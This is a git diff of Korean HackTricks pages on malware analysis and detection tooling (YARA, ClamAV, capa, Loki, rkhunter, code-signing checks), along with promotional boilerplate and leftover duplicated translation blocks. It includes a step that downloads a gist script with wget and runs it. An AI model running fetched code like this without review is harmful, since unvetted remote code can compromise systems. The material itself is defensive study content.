**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 악성코드 분석
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 포렌식 치트시트
|
||||
|
||||
|
@ -34,47 +35,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### 규칙 준비
|
||||
#### 준비 규칙
|
||||
|
||||
다음 스크립트를 사용하여 깃허브에서 모든 악성코드 yara 규칙을 다운로드하고 병합하세요: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
_**rules**_ 디렉토리를 생성하고 실행하세요. 이렇게 하면 _**malware\_rules.yar**_라는 파일이 생성되며, 이 파일에는 모든 악성코드 yara 규칙이 포함됩니다.
|
||||
이 스크립트를 사용하여 github에서 모든 yara 악성 코드 규칙을 다운로드하고 병합합니다: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
_**rules**_ 디렉토리를 만들고 실행하십시오. 이렇게 하면 _**malware\_rules.yar**_이라는 파일이 생성되며 이 파일에는 악성 코드에 대한 모든 yara 규칙이 포함됩니다.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### 스캔
|
||||
|
||||
```markdown
|
||||
The first step in malware analysis is to scan the suspicious file or program. This step helps to identify any known malware signatures or indicators of compromise (IOCs). There are several tools and techniques that can be used for scanning, including antivirus software, sandboxing, and static analysis.
|
||||
|
||||
Antivirus software: Use a reliable antivirus software to scan the suspicious file. The antivirus software will compare the file against a database of known malware signatures and detect any matches.
|
||||
|
||||
Sandboxing: Run the suspicious file in a controlled environment called a sandbox. The sandbox isolates the file from the rest of the system, allowing you to observe its behavior without risking the infection of your machine.
|
||||
|
||||
Static analysis: Analyze the file without executing it. This can be done by examining the file's metadata, such as file size, creation date, and file type. Additionally, you can use tools like file format analyzers and hex editors to inspect the file's structure and contents.
|
||||
|
||||
By scanning the suspicious file, you can gather initial information about its potential maliciousness and determine if further analysis is required.
|
||||
```
|
||||
|
||||
```html
|
||||
Malware 분석의 첫 번째 단계는 의심스러운 파일이나 프로그램을 스캔하는 것입니다. 이 단계는 알려진 악성 코드 식별자나 침해 지표(IOCs)를 확인하는 데 도움이 됩니다. 스캔에는 안티바이러스 소프트웨어, 샌드박싱, 정적 분석 등 여러 도구와 기술을 사용할 수 있습니다.
|
||||
|
||||
안티바이러스 소프트웨어: 신뢰할 수 있는 안티바이러스 소프트웨어를 사용하여 의심스러운 파일을 스캔합니다. 안티바이러스 소프트웨어는 알려진 악성 코드 식별자 데이터베이스와 파일을 비교하여 일치하는 항목을 감지합니다.
|
||||
|
||||
샌드박싱: 의심스러운 파일을 샌드박스라는 제어된 환경에서 실행합니다. 샌드박스는 파일을 시스템의 나머지 부분과 격리시켜 시스템 감염의 위험 없이 파일의 동작을 관찰할 수 있게 합니다.
|
||||
|
||||
정적 분석: 파일을 실행하지 않고 분석합니다. 이는 파일의 메타데이터(파일 크기, 생성 날짜, 파일 유형 등)를 조사함으로써 수행될 수 있습니다. 또한 파일 형식 분석 도구와 헥스 에디터와 같은 도구를 사용하여 파일의 구조와 내용을 검사할 수 있습니다.
|
||||
|
||||
의심스러운 파일을 스캔함으로써 잠재적인 악성성에 대한 초기 정보를 수집하고 추가 분석이 필요한지 여부를 결정할 수 있습니다.
|
||||
```
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: 악성코드 확인 및 규칙 생성
|
||||
|
||||
[**YaraGen**](https://github.com/Neo23x0/yarGen) 도구를 사용하여 이진 파일에서 yara 규칙을 생성할 수 있습니다. 다음 튜토리얼을 확인해보세요: [**파트 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**파트 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**파트 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
툴 [**YaraGen**](https://github.com/Neo23x0/yarGen)을 사용하여 이진 파일로부터 yara 규칙을 생성할 수 있습니다. 다음 튜토리얼을 확인해보세요: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
|
@ -82,74 +59,10 @@ python3.exe yarGen.py --excludegood -m ../../mals/
|
|||
### ClamAV
|
||||
|
||||
#### 설치
|
||||
|
||||
ClamAV는 오픈 소스 악성 코드 탐지 및 백신 소프트웨어입니다. 다음 명령을 사용하여 ClamAV를 설치할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sudo apt-get install clamav
|
||||
```
|
||||
|
||||
또는
|
||||
|
||||
```bash
|
||||
sudo yum install clamav
|
||||
```
|
||||
|
||||
#### 업데이트
|
||||
|
||||
ClamAV 데이터베이스를 최신 상태로 유지하기 위해 정기적으로 업데이트해야 합니다. 다음 명령을 사용하여 ClamAV 데이터베이스를 업데이트할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sudo freshclam
|
||||
```
|
||||
|
||||
#### 스캔
|
||||
|
||||
ClamAV를 사용하여 시스템을 스캔하려면 다음 명령을 사용합니다.
|
||||
|
||||
```bash
|
||||
clamscan -r /path/to/scan
|
||||
```
|
||||
|
||||
`-r` 옵션은 재귀적으로 디렉토리를 스캔하도록 지정합니다. `/path/to/scan`은 스캔할 디렉토리 또는 파일의 경로입니다.
|
||||
|
||||
#### 결과 분석
|
||||
|
||||
ClamAV 스캔 결과는 악성 코드 또는 의심스러운 파일을 식별합니다. 스캔 결과를 분석하여 악성 파일을 확인할 수 있습니다.
|
||||
|
||||
#### 자동 스캔
|
||||
|
||||
ClamAV를 사용하여 자동으로 시스템을 스캔하려면 cron 작업을 설정해야 합니다. cron 작업을 설정하면 정기적으로 ClamAV가 시스템을 스캔하고 악성 코드를 탐지할 수 있습니다.
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### 스캔
|
||||
|
||||
```markdown
|
||||
The first step in malware analysis is to scan the suspicious file or program. This step helps to identify any known malware signatures or indicators of compromise (IOCs). There are several tools and techniques that can be used for scanning, including antivirus software, sandboxing, and static analysis.
|
||||
|
||||
Antivirus software: Use a reliable antivirus software to scan the suspicious file. The antivirus software will compare the file against a database of known malware signatures and detect any matches.
|
||||
|
||||
Sandboxing: Run the suspicious file in a controlled environment called a sandbox. The sandbox isolates the file from the rest of the system, allowing you to observe its behavior without risking the infection of your machine.
|
||||
|
||||
Static analysis: Analyze the file without executing it. This can be done by examining the file's metadata, such as file size, creation date, and file type. Additionally, you can use tools like file format analyzers to identify any suspicious patterns or anomalies in the file's structure.
|
||||
|
||||
It is important to note that scanning alone may not be sufficient to detect all types of malware. Some malware may be designed to evade detection by antivirus software or exhibit behavior that is only triggered under specific conditions. Therefore, additional analysis techniques may be necessary to fully understand and mitigate the threat.
|
||||
```
|
||||
|
||||
```html
|
||||
<h4>스캔</h4>
|
||||
|
||||
<p>악성 코드 분석의 첫 번째 단계는 의심스러운 파일이나 프로그램을 스캔하는 것입니다. 이 단계는 알려진 악성 코드 식별자나 침해 지표를 확인하는 데 도움이 됩니다. 스캔에는 백신 소프트웨어, 샌드박싱, 정적 분석 등 여러 도구와 기술을 사용할 수 있습니다.</p>
|
||||
|
||||
<p>백신 소프트웨어: 신뢰할 수 있는 백신 소프트웨어를 사용하여 의심스러운 파일을 스캔합니다. 백신 소프트웨어는 알려진 악성 코드 식별자 데이터베이스와 파일을 비교하여 일치하는 항목을 감지합니다.</p>
|
||||
|
||||
<p>샌드박싱: 의심스러운 파일을 샌드박스라는 제어된 환경에서 실행합니다. 샌드박스는 파일을 시스템의 나머지 부분과 격리시켜 시스템 감염의 위험 없이 파일의 동작을 관찰할 수 있게 합니다.</p>
|
||||
|
||||
<p>정적 분석: 파일을 실행하지 않고 분석합니다. 이는 파일의 메타데이터(파일 크기, 생성 날짜, 파일 유형 등)를 조사함으로써 수행될 수 있습니다. 또한 파일 형식 분석기와 같은 도구를 사용하여 파일 구조에서 의심스러운 패턴이나 이상점을 식별할 수 있습니다.</p>
|
||||
|
||||
<p>스캔만으로는 모든 유형의 악성 코드를 감지하는 데 충분하지 않을 수 있다는 점을 유의해야 합니다. 일부 악성 코드는 백신 소프트웨어의 탐지를 피하도록 설계되거나 특정 조건에서만 동작하는 행동을 보일 수 있습니다. 따라서 완전한 이해와 위협 완화를 위해 추가적인 분석 기술이 필요할 수 있습니다.</p>
|
||||
```
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
|
@ -157,26 +70,26 @@ clamscan folderpath #Scan the whole folder
|
|||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa**는 실행 가능한 파일인 PE, ELF, .NET에서 잠재적으로 악성인 **기능**을 감지합니다. 따라서 다음과 같은 것들을 찾을 수 있습니다:
|
||||
**Capa**는 실행 파일(PE, ELF, .NET)에서 잠재적으로 악의적인 **기능**을 감지합니다. 따라서 Att\&ck 전술과 같은 것들 또는 의심스러운 기능을 찾을 수 있습니다:
|
||||
|
||||
* OutputDebugString 오류 확인
|
||||
* 서비스로 실행
|
||||
* 프로세스 생성
|
||||
- OutputDebugString 오류 확인
|
||||
- 서비스로 실행
|
||||
- 프로세스 생성
|
||||
|
||||
[**Github 저장소**](https://github.com/mandiant/capa)에서 받을 수 있습니다.
|
||||
|
||||
### IOC
|
||||
### IOCs
|
||||
|
||||
IOC는 Compromise의 지표입니다. IOC는 일부 잠재적으로 원치 않는 소프트웨어 또는 확인된 **악성 코드**를 식별하는 **조건들의 집합**입니다. Blue Team은 이러한 정의를 사용하여 시스템과 네트워크에서 이러한 악성 파일을 검색합니다.\
|
||||
이러한 정의를 공유하는 것은 매우 유용합니다. 컴퓨터에서 악성 코드가 식별되고 해당 악성 코드에 대한 IOC가 생성되면, 다른 Blue Team은 이를 사용하여 악성 코드를 더 빠르게 식별할 수 있습니다.
|
||||
IOC는 Compromise의 지표(Indicator Of Compromise)를 의미합니다. IOC는 일부 잠재적으로 원치 않는 소프트웨어 또는 확인된 **악성 코드**를 식별하는 **조건들의 집합**입니다. Blue Team은 이러한 정의를 사용하여 **시스템** 및 **네트워크**에서 **이러한 악성 파일을 검색**합니다.\
|
||||
이러한 정의를 공유하는 것은 매우 유용합니다. 왜냐하면 컴퓨터에서 악성 코드가 식별되고 해당 악성 코드에 대한 IOC가 생성되면, 다른 Blue Team이 해당 악성 코드를 더 빨리 식별할 수 있기 때문입니다.
|
||||
|
||||
IOC를 생성하거나 수정하는 도구로는 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**가 있습니다.**\
|
||||
[**Redline**](https://www.fireeye.com/services/freeware/redline.html)과 같은 도구를 사용하여 장치에서 정의된 IOC를 검색할 수 있습니다.
|
||||
IOC를 생성하거나 수정하는 도구는 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**입니다.**\
|
||||
[**Redline**](https://www.fireeye.com/services/freeware/redline.html)과 같은 도구를 사용하여 **장치에서 정의된 IOC를 검색**할 수 있습니다.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki)는 간단한 Compromise 지표를 스캔하는 도구입니다.\
|
||||
감지는 네 가지 감지 방법을 기반으로 합니다:
|
||||
[**Loki**](https://github.com/Neo23x0/Loki)는 간단한 Compromise 지표에 대한 스캐너입니다.\
|
||||
검출은 네 가지 검출 방법을 기반으로 합니다:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
|
@ -190,43 +103,43 @@ Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
|||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
### Linux 악성코드 탐지
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)은 GNU GPLv2 라이선스로 출시된 Linux용 악성 코드 스캐너입니다. 이는 공유 호스팅 환경에서 직면하는 위협을 기반으로 설계되었습니다. LMD는 네트워크 엣지 침입 탐지 시스템에서 수집한 위협 데이터를 사용하여 공격 중인 악성 코드를 추출하고 탐지를 위한 시그니처를 생성합니다. 또한, LMD 체크아웃 기능과 악성 코드 커뮤니티 자원을 통해 사용자 제출을 통해 위협 데이터를 얻을 수도 있습니다.
|
||||
[**Linux 악성코드 탐지 (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)는 GNU GPLv2 라이선스 하에 공개된 Linux용 악성코드 스캐너로, 공유 호스팅 환경에서 직면한 위협을 중심으로 설계되었습니다. 네트워크 가장자리 침입 탐지 시스템에서의 위협 데이터를 사용하여 공격 중인 악성코드를 추출하고 탐지를 위한 시그니처를 생성합니다. 또한, 위협 데이터는 LMD 체크아웃 기능과 악성코드 커뮤니티 리소스를 통해 사용자 제출에서 파생됩니다.
|
||||
|
||||
### rkhunter
|
||||
|
||||
[**rkhunter**](http://rkhunter.sourceforge.net)와 같은 도구를 사용하여 파일 시스템에서 가능한 **루트킷**과 악성 코드를 확인할 수 있습니다.
|
||||
[**rkhunter**](http://rkhunter.sourceforge.net)와 같은 도구는 파일 시스템을 확인하여 가능한 **루트킷**과 악성코드를 확인하는 데 사용될 수 있습니다.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss)는 다양한 기술을 사용하여 실행 파일 내에서 난독화된 문자열을 찾으려고 시도하는 도구입니다.
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss)는 다양한 기술을 사용하여 실행 파일 내에 난독화된 문자열을 찾으려고 시도하는 도구입니다.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper)는 실행 파일 내에서 기본적인 내용(바이너리 데이터, 엔트로피, URL 및 IP, 일부 yara 규칙)을 확인합니다.
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper)는 실행 파일 내부의 기본적인 내용(이진 데이터, 엔트로피, URL 및 IP, 일부 yara 규칙)을 확인합니다.
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download)는 Windows 실행 파일의 가져오기, 내보내기, 헤더와 같은 정보를 얻을 수 있는 도구이며, 또한 바이러스 토탈을 확인하고 잠재적인 Att\&ck 기술을 찾을 수도 있습니다.
|
||||
[PEstudio](https://www.winitor.com/download)는 Windows 실행 파일의 정보(임포트, 익스포트, 헤더)를 얻을 수 있도록 해주는 도구이며, 바이러스 토탈을 확인하고 잠재적인 Att\&ck 기술을 찾을 수도 있습니다.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/)는 파일이 **암호화**되었는지 여부를 감지하고 **패커**를 찾는 도구입니다.
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/)는 파일이 **암호화**되어 있는지 감지하고 **패커**를 찾는 도구입니다.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)는 Python 스크립트로, 텍스트/스크립트 파일 내에서 **난독화**된 내용과 **암호화**된 내용을 감지하기 위해 다양한 **통계적 방법**을 사용합니다. NeoPI의 목적은 **숨겨진 웹 쉘 코드**를 감지하는 데 도움을 주는 것입니다.
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)는 다양한 **통계적 방법**을 사용하여 텍스트/스크립트 파일 내에 **난독화** 및 **암호화**된 내용을 감지하는 Python 스크립트입니다. NeoPI의 목적은 **숨겨진 웹 쉘 코드**를 감지하는 데 도움을 주는 것입니다.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)는 **난독화**된/**의심스러운 코드**와 **악성 코드**/웹쉘에서 자주 사용되는 **PHP** 함수를 사용하는 파일을 감지하기 위해 최선을 다합니다.
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)는 **난독화**/**의심스러운 코드** 및 **악성 코드**/**웹 쉘**에서 자주 사용되는 **PHP** 함수를 사용하는 파일을 감지하기 위해 최선을 다합니다.
|
||||
|
||||
### Apple Binary Signatures
|
||||
|
||||
악성 코드 샘플을 확인할 때 항상 이진 파일의 **서명**을 확인해야 합니다. 서명한 **개발자**가 이미 **악성 코드**와 관련이 있을 수 있기 때문입니다.
|
||||
**악성 코드 샘플**을 확인할 때는 항상 이진 파일의 **서명**을 확인해야 합니다. 서명한 **개발자**가 이미 **악성 코드**와 관련이 있을 수 있습니다.
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -237,30 +150,16 @@ codesign --verify --verbose /Applications/Safari.app
|
|||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## 탐지 기법
|
||||
## 탐지 기술
|
||||
|
||||
### 파일 스택
|
||||
### 파일 쌓기
|
||||
|
||||
웹 서버의 **파일들이 마지막으로 업데이트된 날짜**를 알고 있다면, **웹 서버의 모든 파일들이 생성 및 수정된 날짜**를 확인하고, 어떤 날짜가 **수상할 만한지** 확인하세요. 그리고 해당 파일을 확인하세요.
|
||||
웹 서버의 **파일들이 포함된 폴더**가 **특정 날짜에 마지막으로 업데이트**된 것을 알고 있다면, **웹 서버의 모든 파일이 생성 및 수정된 날짜**를 **확인**하고 **의심스러운** 날짜가 있는지 확인하십시오.
|
||||
|
||||
### 기준선
|
||||
|
||||
만약 폴더의 파일들이 **수정되지 않았어야 한다면**, 해당 폴더의 **원본 파일들의 해시**를 계산하고, **현재 파일들과 비교**하세요. 수정된 것은 **수상할 만한 것**입니다.
|
||||
폴더의 파일이 **수정되지 않아야 하는 경우**, 폴더의 **원본 파일의 해시**를 계산하고 **현재 파일**과 **비교**할 수 있습니다. 수정된 내용은 **의심스러울 것**입니다.
|
||||
|
||||
### 통계 분석
|
||||
|
||||
정보가 로그에 저장되어 있다면, 웹 서버의 각 파일이 웹 쉘 중 하나일 수 있으므로, **각 웹 서버 파일이 얼마나 자주 액세스되었는지와 같은 통계**를 확인할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기교를 공유**하세요.
|
||||
|
||||
</details>
|
||||
정보가 로그에 저장된 경우, 웹 서버의 각 파일이 액세스된 횟수와 같은 **통계를 확인**할 수 있습니다. 웹 쉘은 가장 많이 액세스된 파일 중 하나일 수 있습니다.
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
여기에서 특정 파일 유형 및/또는 소프트웨어에 대한 흥미로운 트릭을 찾을 수 있습니다:
|
||||
특정 파일 유형 및/또는 소프트웨어에 대한 흥미로운 트릭을 찾을 수 있습니다:
|
||||
|
||||
{% page-ref page=".pyc.md" %}
|
||||
|
||||
|
@ -32,21 +33,3 @@ HackTricks를 지원하는 다른 방법:
|
|||
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="zips-tricks.md" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,19 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
